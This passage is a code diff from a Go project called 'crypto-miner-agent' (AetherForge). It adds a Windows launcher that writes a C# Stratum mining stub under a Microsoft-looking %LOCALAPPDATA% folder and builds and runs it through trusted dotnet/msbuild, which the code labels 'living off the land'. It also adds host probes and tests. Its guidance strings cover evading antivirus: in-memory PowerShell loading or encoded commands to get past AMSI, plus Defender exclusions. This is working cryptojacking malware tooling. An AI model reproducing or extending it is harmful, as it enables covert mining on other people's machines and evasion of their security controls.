dotnetExecCommand = exec.Command
|
||||||
|
return
|
||||||
|
}
|
||||||
|
dotnetExecCommand = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// DotnetLauncher compiles and runs a minimal Stratum stub via trusted dotnet/msbuild (LOTL).
|
||||||
|
type DotnetLauncher struct {
|
||||||
|
cfg config.RuntimeConfig
|
||||||
|
workDir string
|
||||||
|
tool string // "dotnet" or "msbuild"
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
running bool
|
||||||
|
cmd *exec.Cmd
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewDotnetLauncher validates platform, pool, and toolchain availability.
|
||||||
|
func NewDotnetLauncher(cfg config.RuntimeConfig) (*DotnetLauncher, error) {
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
return nil, fmt.Errorf("dotnet tier requires Windows")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
|
||||||
|
return nil, fmt.Errorf("pool host/port required for dotnet stratum tier")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||||
|
return nil, fmt.Errorf("wallet required for dotnet stratum tier")
|
||||||
|
}
|
||||||
|
tool, err := resolveDotnetToolchain()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
workDir, err := lotlWorkDir(cfg, "Stratum")
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &DotnetLauncher{cfg: cfg, workDir: workDir, tool: tool}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolveDotnetToolchain() (string, error) {
|
||||||
|
if _, err := exec.LookPath(dotnetBin); err == nil {
|
||||||
|
return "dotnet", nil
|
||||||
|
}
|
||||||
|
if _, err := exec.LookPath(msbuildBin); err == nil {
|
||||||
|
return "msbuild", nil
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("neither dotnet nor MSBuild found in PATH")
|
||||||
|
}
|
||||||
|
|
||||||
|
// WorkDir returns the LOTL compile output directory.
|
||||||
|
func (l *DotnetLauncher) WorkDir() string {
|
||||||
|
return l.workDir
|
||||||
|
}
|
||||||
|
|
||||||
|
// Toolchain reports dotnet or msbuild.
|
||||||
|
func (l *DotnetLauncher) Toolchain() string {
|
||||||
|
return l.tool
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start materializes source under %LOCALAPPDATA%\Microsoft\... and runs compile + execute.
|
||||||
|
func (l *DotnetLauncher) Start() error {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
if l.running {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := l.materializeProject(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := l.compile(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
cmd, err := l.launchMiner()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
l.cmd = cmd
|
||||||
|
l.running = true
|
||||||
|
log.Printf("[dotnet-tier] started toolchain=%s dir=%s wallet=%s pool=%s:%d",
|
||||||
|
l.tool, l.workDir, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
|
||||||
|
go l.waitExit()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *DotnetLauncher) materializeProject() error {
|
||||||
|
if err := os.MkdirAll(l.workDir, 0o755); err != nil {
|
||||||
|
return fmt.Errorf("mkdir workdir: %w", err)
|
||||||
|
}
|
||||||
|
csPath := filepath.Join(l.workDir, "Program.cs")
|
||||||
|
if err := os.WriteFile(csPath, []byte(renderStratumCSharp(l.cfg)), 0o644); err != nil {
|
||||||
|
return fmt.Errorf("write Program.cs: %w", err)
|
||||||
|
}
|
||||||
|
projPath := filepath.Join(l.workDir, "StratumMiner.csproj")
|
||||||
|
if err := os.WriteFile(projPath, []byte(stratumCsprojTemplate), 0o644); err != nil {
|
||||||
|
return fmt.Errorf("write csproj: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *DotnetLauncher) compile() error {
|
||||||
|
switch l.tool {
|
||||||
|
case "dotnet":
|
||||||
|
cmd := dotnetExecCommand(dotnetBin, "build", l.workDir, "-c", "Release", "-o", filepath.Join(l.workDir, "out"), "-v", "q")
|
||||||
|
cmd.Dir = l.workDir
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("dotnet build failed: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case "msbuild":
|
||||||
|
proj := filepath.Join(l.workDir, "StratumMiner.csproj")
|
||||||
|
cmd := dotnetExecCommand(msbuildBin, proj, "/p:Configuration=Release", "/v:q")
|
||||||
|
cmd.Dir = l.workDir
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("msbuild failed: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
default:
|
||||||
|
return fmt.Errorf("unknown toolchain %q", l.tool)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *DotnetLauncher) launchMiner() (*exec.Cmd, error) {
|
||||||
|
switch l.tool {
|
||||||
|
case "dotnet":
|
||||||
|
cmd := dotnetExecCommand(dotnetBin, "run", "--project", l.workDir, "-c", "Release", "--no-build")
|
||||||
|
cmd.Dir = l.workDir
|
||||||
|
cmd.Stdout = nil
|
||||||
|
cmd.Stderr = nil
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return nil, fmt.Errorf("dotnet run failed: %w", err)
|
||||||
|
}
|
||||||
|
return cmd, nil
|
||||||
|
case "msbuild":
|
||||||
|
exe := filepath.Join(l.workDir, "bin", "Release", "net8.0", "AetherForgeStratum.exe")
|
||||||
|
if _, err := os.Stat(exe); err != nil {
|
||||||
|
exe = filepath.Join(l.workDir, "out", "AetherForgeStratum.exe")
|
||||||
|
}
|
||||||
|
cmd := dotnetExecCommand(exe)
|
||||||
|
cmd.Dir = l.workDir
|
||||||
|
cmd.Stdout = nil
|
||||||
|
cmd.Stderr = nil
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return nil, fmt.Errorf("run compiled exe failed: %w", err)
|
||||||
|
}
|
||||||
|
return cmd, nil
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("unknown toolchain %q", l.tool)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *DotnetLauncher) waitExit() {
|
||||||
|
if l.cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
err := l.cmd.Wait()
|
||||||
|
l.mu.Lock()
|
||||||
|
l.running = false
|
||||||
|
l.cmd = nil
|
||||||
|
l.mu.Unlock()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[dotnet-tier] miner process exited: %v — chain will advance", err)
|
||||||
|
} else {
|
||||||
|
log.Printf("[dotnet-tier] miner process stopped")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stop terminates the running LOTL miner process.
|
||||||
|
func (l *DotnetLauncher) Stop() {
|
||||||
|
l.mu.Lock()
|
||||||
|
cmd := l.cmd
|
||||||
|
running := l.running
|
||||||
|
l.mu.Unlock()
|
||||||
|
if !running || cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd.Process != nil {
|
||||||
|
_ = cmd.Process.Kill()
|
||||||
|
}
|
||||||
|
l.mu.Lock()
|
||||||
|
l.running = false
|
||||||
|
l.cmd = nil
|
||||||
|
l.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Running reports whether the LOTL miner is active.
|
||||||
|
func (l *DotnetLauncher) Running() bool {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
return l.running
|
||||||
|
}
|
||||||
151
agent/miner/dotnet_launcher_test.go
Normal file
151
agent/miner/dotnet_launcher_test.go
Normal file
@@ -0,0 +1,151 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func fakeDotnetRecorder(t *testing.T) string {
|
||||||
|
t.Helper()
|
||||||
|
dir := t.TempDir()
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
bat := filepath.Join(dir, "fake-dotnet.cmd")
|
||||||
|
body := `@echo off
|
||||||
|
if "%1"=="build" exit /b 0
|
||||||
|
if "%1"=="run" (
|
||||||
|
ping -n 3 127.0.0.1 >nul
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
exit /b 0
|
||||||
|
`
|
||||||
|
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
return bat
|
||||||
|
}
|
||||||
|
sh := filepath.Join(dir, "fake-dotnet.sh")
|
||||||
|
body := `#!/bin/sh
|
||||||
|
case "$1" in
|
||||||
|
build) exit 0 ;;
|
||||||
|
run) sleep 1 ;;
|
||||||
|
esac
|
||||||
|
exit 0
|
||||||
|
`
|
||||||
|
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
return sh
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDotnetLauncherMaterializeAndStart(t *testing.T) {
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
t.Skip("dotnet tier is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
bin := fakeDotnetRecorder(t)
|
||||||
|
SetDotnetBinPath(bin)
|
||||||
|
SetDotnetExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||||
|
return exec.Command(name, args...)
|
||||||
|
})
|
||||||
|
defer func() {
|
||||||
|
SetDotnetBinPath("")
|
||||||
|
SetDotnetExecCommand(nil)
|
||||||
|
}()
|
||||||
|
|
||||||
|
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||||
|
|
||||||
|
cfg := config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
BuildID: "dn-test",
|
||||||
|
Wallet: "XMR:wallet456",
|
||||||
|
WorkerName: "worker-dn",
|
||||||
|
PoolHost: "pool.example.com",
|
||||||
|
PoolPort: 4444,
|
||||||
|
PoolTLS: true,
|
||||||
|
PoolPass: "secret",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
launcher, err := NewDotnetLauncher(cfg)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDotnetLauncher: %v", err)
|
||||||
|
}
|
||||||
|
if launcher.Toolchain() != "dotnet" {
|
||||||
|
t.Fatalf("toolchain=%q want dotnet", launcher.Toolchain())
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
t.Fatalf("Start: %v", err)
|
||||||
|
}
|
||||||
|
defer launcher.Stop()
|
||||||
|
|
||||||
|
cs, err := os.ReadFile(filepath.Join(launcher.WorkDir(), "Program.cs"))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read Program.cs: %v", err)
|
||||||
|
}
|
||||||
|
text := string(cs)
|
||||||
|
if !strings.Contains(text, "XMR:wallet456") {
|
||||||
|
t.Fatalf("Program.cs missing wallet: %s", text)
|
||||||
|
}
|
||||||
|
if !strings.Contains(text, "pool.example.com") {
|
||||||
|
t.Fatalf("Program.cs missing pool host: %s", text)
|
||||||
|
}
|
||||||
|
if !strings.Contains(text, "PoolTLS = true") {
|
||||||
|
t.Fatalf("Program.cs missing TLS flag: %s", text)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !strings.Contains(launcher.WorkDir(), filepath.Join("Microsoft", "NET", "AetherForge")) {
|
||||||
|
t.Fatalf("workdir not under Microsoft LOTL path: %s", launcher.WorkDir())
|
||||||
|
}
|
||||||
|
|
||||||
|
if !launcher.Running() {
|
||||||
|
t.Fatal("Running() false after Start")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDefaultFallbackChainPowerShellMode(t *testing.T) {
|
||||||
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionPowerShell,
|
||||||
|
PoolHost: "p",
|
||||||
|
Wallet: "w",
|
||||||
|
},
|
||||||
|
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||||
|
if chain[0] != MethodPowerShell {
|
||||||
|
t.Fatalf("chain=%v want powershell first", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDefaultFallbackChainDotnetMode(t *testing.T) {
|
||||||
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionDotnet,
|
||||||
|
PoolHost: "p",
|
||||||
|
Wallet: "w",
|
||||||
|
},
|
||||||
|
}, ContainerRuntimeInfo{})
|
||||||
|
if chain[0] != MethodDotnet {
|
||||||
|
t.Fatalf("chain=%v want dotnet first", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainForcedPowerShell(t *testing.T) {
|
||||||
|
probes := EnvironmentProbes{PowerShell: true, DotNet: true}
|
||||||
|
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionPowerShell,
|
||||||
|
Wallet: "w",
|
||||||
|
PoolHost: "p",
|
||||||
|
PoolPort: 3333,
|
||||||
|
},
|
||||||
|
})
|
||||||
|
if len(chain) == 0 || chain[0] != TierPSInMemory {
|
||||||
|
t.Fatalf("chain=%v want ps_inmemory first", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
114
agent/miner/environment_probe.go
Normal file
114
agent/miner/environment_probe.go
Normal file
@@ -0,0 +1,114 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// EnvironmentProbes captures host capabilities that drive tier selection.
|
||||||
|
type EnvironmentProbes struct {
|
||||||
|
Docker bool `json:"docker"`
|
||||||
|
WSL bool `json:"wsl"`
|
||||||
|
PowerShell bool `json:"pwsh"`
|
||||||
|
DotNet bool `json:"dotnet"`
|
||||||
|
GPU bool `json:"gpu"`
|
||||||
|
AVBlocksExe bool `json:"av_blocks_exe"`
|
||||||
|
WebView2 bool `json:"webview2"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
|
||||||
|
var probeExecCommand = exec.Command
|
||||||
|
|
||||||
|
// SetProbeExecCommand restores the default when fn is nil.
|
||||||
|
func SetProbeExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||||
|
if fn == nil {
|
||||||
|
probeExecCommand = exec.Command
|
||||||
|
return
|
||||||
|
}
|
||||||
|
probeExecCommand = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// gpuProbeFn reports discrete GPU presence; tests inject via SetGPUProbe.
|
||||||
|
var gpuProbeFn = defaultGPUProbe
|
||||||
|
|
||||||
|
// SetGPUProbe restores the default when fn is nil.
|
||||||
|
func SetGPUProbe(fn func() bool) {
|
||||||
|
if fn == nil {
|
||||||
|
gpuProbeFn = defaultGPUProbe
|
||||||
|
return
|
||||||
|
}
|
||||||
|
gpuProbeFn = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
func defaultGPUProbe() bool {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProbeEnvironment gathers tier eligibility signals from the local host.
|
||||||
|
func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
|
||||||
|
if runtimeFn == nil {
|
||||||
|
runtimeFn = RuntimeDetector
|
||||||
|
}
|
||||||
|
rt := runtimeFn()
|
||||||
|
p := EnvironmentProbes{
|
||||||
|
Docker: rt.Available,
|
||||||
|
GPU: gpuProbeFn(),
|
||||||
|
}
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
wsl := WSLDetector()
|
||||||
|
p.WSL = wsl.Available
|
||||||
|
p.PowerShell = probePowerShell()
|
||||||
|
p.DotNet = probeDotNet()
|
||||||
|
p.WebView2 = probeWebView2()
|
||||||
|
p.AVBlocksExe = inferAVBlocksExe()
|
||||||
|
} else if runtime.GOOS == "linux" {
|
||||||
|
p.PowerShell = commandOK("pwsh", "--version") || commandOK("powershell", "--version")
|
||||||
|
p.DotNet = commandOK("dotnet", "--version")
|
||||||
|
}
|
||||||
|
return p
|
||||||
|
}
|
||||||
|
|
||||||
|
func inferAVBlocksExe() bool {
|
||||||
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeWSL() bool {
|
||||||
|
return commandOK("wsl", "--status") || commandOK("wsl", "-l", "-q")
|
||||||
|
}
|
||||||
|
|
||||||
|
func probePowerShell() bool {
|
||||||
|
return commandOK("pwsh", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major") ||
|
||||||
|
commandOK("powershell", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major")
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeDotNet() bool {
|
||||||
|
return commandOK("dotnet", "--version")
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeWebView2() bool {
|
||||||
|
paths := []string{
|
||||||
|
os.Getenv("ProgramFiles") + `\Microsoft\EdgeWebView\Application`,
|
||||||
|
os.Getenv("ProgramFiles(x86)") + `\Microsoft\EdgeWebView\Application`,
|
||||||
|
}
|
||||||
|
for _, base := range paths {
|
||||||
|
if base == `\Microsoft\EdgeWebView\Application` {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if info, err := os.Stat(base); err == nil && info.IsDir() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return commandOK("reg", "query", `HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}`)
|
||||||
|
}
|
||||||
|
|
||||||
|
func commandOK(name string, args ...string) bool {
|
||||||
|
cmd := probeExecCommand(name, args...)
|
||||||
|
cmd.Stdout = nil
|
||||||
|
cmd.Stderr = nil
|
||||||
|
return cmd.Run() == nil
|
||||||
|
}
|
||||||
95
agent/miner/execution.go
Normal file
95
agent/miner/execution.go
Normal file
@@ -0,0 +1,95 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// CPU/GPU workload execution — distinct from schedule MiningMode (always/idle/scheduled).
|
||||||
|
const (
|
||||||
|
ExecutionAuto = "auto"
|
||||||
|
ExecutionContainer = "container"
|
||||||
|
ExecutionInProcess = "inprocess"
|
||||||
|
ExecutionSubprocess = "subprocess"
|
||||||
|
ExecutionPowerShell = "powershell"
|
||||||
|
ExecutionDotnet = "dotnet"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ContainerRuntimeInfo describes a detected OCI CLI (docker or podman).
|
||||||
|
type ContainerRuntimeInfo struct {
|
||||||
|
Available bool
|
||||||
|
CLI string // "docker" or "podman"
|
||||||
|
Version string
|
||||||
|
}
|
||||||
|
|
||||||
|
// RuntimeDetector checks for a container CLI. Tests inject a mock via SetRuntimeDetector.
|
||||||
|
var RuntimeDetector = DetectContainerRuntime
|
||||||
|
|
||||||
|
// SetRuntimeDetector restores the default detector when fn is nil.
|
||||||
|
func SetRuntimeDetector(fn func() ContainerRuntimeInfo) {
|
||||||
|
if fn == nil {
|
||||||
|
RuntimeDetector = DetectContainerRuntime
|
||||||
|
return
|
||||||
|
}
|
||||||
|
RuntimeDetector = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveExecutionMode picks the effective miner execution path.
|
||||||
|
// auto → container when a runtime is available, otherwise inprocess.
|
||||||
|
func ResolveExecutionMode(cfg config.RuntimeConfig) (mode string, runtime ContainerRuntimeInfo) {
|
||||||
|
runtime = RuntimeDetector()
|
||||||
|
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
||||||
|
switch raw {
|
||||||
|
case "", ExecutionAuto:
|
||||||
|
if runtime.Available {
|
||||||
|
return ExecutionContainer, runtime
|
||||||
|
}
|
||||||
|
return ExecutionInProcess, runtime
|
||||||
|
case ExecutionContainer:
|
||||||
|
return ExecutionContainer, runtime
|
||||||
|
case ExecutionInProcess:
|
||||||
|
return ExecutionInProcess, runtime
|
||||||
|
case ExecutionSubprocess:
|
||||||
|
return ExecutionSubprocess, runtime
|
||||||
|
case ExecutionPowerShell:
|
||||||
|
return ExecutionPowerShell, runtime
|
||||||
|
case ExecutionDotnet:
|
||||||
|
return ExecutionDotnet, runtime
|
||||||
|
default:
|
||||||
|
if runtime.Available {
|
||||||
|
return ExecutionContainer, runtime
|
||||||
|
}
|
||||||
|
return ExecutionInProcess, runtime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ContainerModeRequested reports whether forge/config asked for container isolation.
|
||||||
|
func ContainerModeRequested(cfg config.RuntimeConfig) bool {
|
||||||
|
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
||||||
|
return raw == ExecutionContainer || raw == ExecutionAuto || raw == ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// AVBlockRecommendation returns operator guidance when mining may be AV-blocked.
|
||||||
|
func AVBlockRecommendation(mode string, runtime ContainerRuntimeInfo) string {
|
||||||
|
switch mode {
|
||||||
|
case ExecutionInProcess:
|
||||||
|
return "In-process RandomX avoids external CPU miner exes — add Defender path/process exclusions via Calibrate if hashrate stays 0"
|
||||||
|
case ExecutionContainer:
|
||||||
|
if runtime.Available {
|
||||||
|
return "Container mode isolates CPU mining but AV still scans docker.exe and image layers"
|
||||||
|
}
|
||||||
|
return "Container mode requested but no Docker/Podman runtime — agent falls back to in-process RandomX"
|
||||||
|
case ExecutionSubprocess:
|
||||||
|
return "Subprocess mode spawns GPU miners (T-Rex/TRM) — high AV friction; use inprocess for CPU-only fleets"
|
||||||
|
case ExecutionPowerShell:
|
||||||
|
return "PowerShell tier loads mining via powershell.exe + in-memory assembly or encoded command — AMSI may still flag; falls back to in-process"
|
||||||
|
case ExecutionDotnet:
|
||||||
|
return "Dotnet tier compiles a minimal Stratum stub via trusted dotnet/msbuild under %LOCALAPPDATA%\\Microsoft — falls back to in-process"
|
||||||
|
default:
|
||||||
|
if runtime.Available {
|
||||||
|
return "Auto mode may launch Docker — prefer miner_execution=inprocess for lowest AV friction on CPU-only rigs"
|
||||||
|
}
|
||||||
|
return "Antivirus may block mining — use miner_execution=inprocess (no external CPU exe) and Defender exclusions for install path"
|
||||||
|
}
|
||||||
|
}
|
||||||
130
agent/miner/execution_test.go
Normal file
130
agent/miner/execution_test.go
Normal file
@@ -0,0 +1,130 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestResolveExecutionModeAutoWithDocker(t *testing.T) {
|
||||||
|
SetRuntimeDetector(func() ContainerRuntimeInfo {
|
||||||
|
return ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"}
|
||||||
|
})
|
||||||
|
defer SetRuntimeDetector(nil)
|
||||||
|
|
||||||
|
mode, rt := ResolveExecutionMode(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
|
||||||
|
})
|
||||||
|
if mode != ExecutionContainer {
|
||||||
|
t.Fatalf("got mode %q want container", mode)
|
||||||
|
}
|
||||||
|
if !rt.Available || rt.CLI != "docker" {
|
||||||
|
t.Fatalf("runtime %+v", rt)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecutionModeAutoWithoutRuntime(t *testing.T) {
|
||||||
|
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
|
||||||
|
defer SetRuntimeDetector(nil)
|
||||||
|
|
||||||
|
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
|
||||||
|
})
|
||||||
|
if mode != ExecutionInProcess {
|
||||||
|
t.Fatalf("got %q want inprocess", mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecutionModeForcedContainer(t *testing.T) {
|
||||||
|
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
|
||||||
|
defer SetRuntimeDetector(nil)
|
||||||
|
|
||||||
|
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionContainer},
|
||||||
|
})
|
||||||
|
if mode != ExecutionContainer {
|
||||||
|
t.Fatalf("got %q want container", mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecutionModeInProcess(t *testing.T) {
|
||||||
|
SetRuntimeDetector(func() ContainerRuntimeInfo {
|
||||||
|
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||||
|
})
|
||||||
|
defer SetRuntimeDetector(nil)
|
||||||
|
|
||||||
|
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
|
||||||
|
})
|
||||||
|
if mode != ExecutionInProcess {
|
||||||
|
t.Fatalf("got %q want inprocess", mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecutionModeSubprocess(t *testing.T) {
|
||||||
|
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
|
||||||
|
defer SetRuntimeDetector(nil)
|
||||||
|
|
||||||
|
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionSubprocess},
|
||||||
|
})
|
||||||
|
if mode != ExecutionSubprocess {
|
||||||
|
t.Fatalf("got %q want subprocess", mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestContainerModeRequested(t *testing.T) {
|
||||||
|
if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}) {
|
||||||
|
t.Fatal("empty should request auto/container")
|
||||||
|
}
|
||||||
|
if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "auto"}}) {
|
||||||
|
t.Fatal("auto should request container path")
|
||||||
|
}
|
||||||
|
if ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "inprocess"}}) {
|
||||||
|
t.Fatal("inprocess should not request container")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecutionModePowerShell(t *testing.T) {
|
||||||
|
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionPowerShell},
|
||||||
|
})
|
||||||
|
if mode != ExecutionPowerShell {
|
||||||
|
t.Fatalf("got %q want powershell", mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecutionModeDotnet(t *testing.T) {
|
||||||
|
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionDotnet},
|
||||||
|
})
|
||||||
|
if mode != ExecutionDotnet {
|
||||||
|
t.Fatalf("got %q want dotnet", mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAVBlockRecommendation(t *testing.T) {
|
||||||
|
if msg := AVBlockRecommendation(ExecutionInProcess, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
|
||||||
|
t.Fatal("expected in-process guidance")
|
||||||
|
}
|
||||||
|
if msg := AVBlockRecommendation(ExecutionContainer, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
|
||||||
|
t.Fatal("expected container guidance")
|
||||||
|
}
|
||||||
|
if msg := AVBlockRecommendation(ExecutionAuto, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
|
||||||
|
t.Fatal("expected auto-mode guidance")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNewContainerLauncherNoRuntime(t *testing.T) {
|
||||||
|
_, err := NewContainerLauncher(config.RuntimeConfig{}, ContainerRuntimeInfo{})
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error without runtime")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestContainerNameSanitize(t *testing.T) {
|
||||||
|
name := containerName(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "build/01 test"}})
|
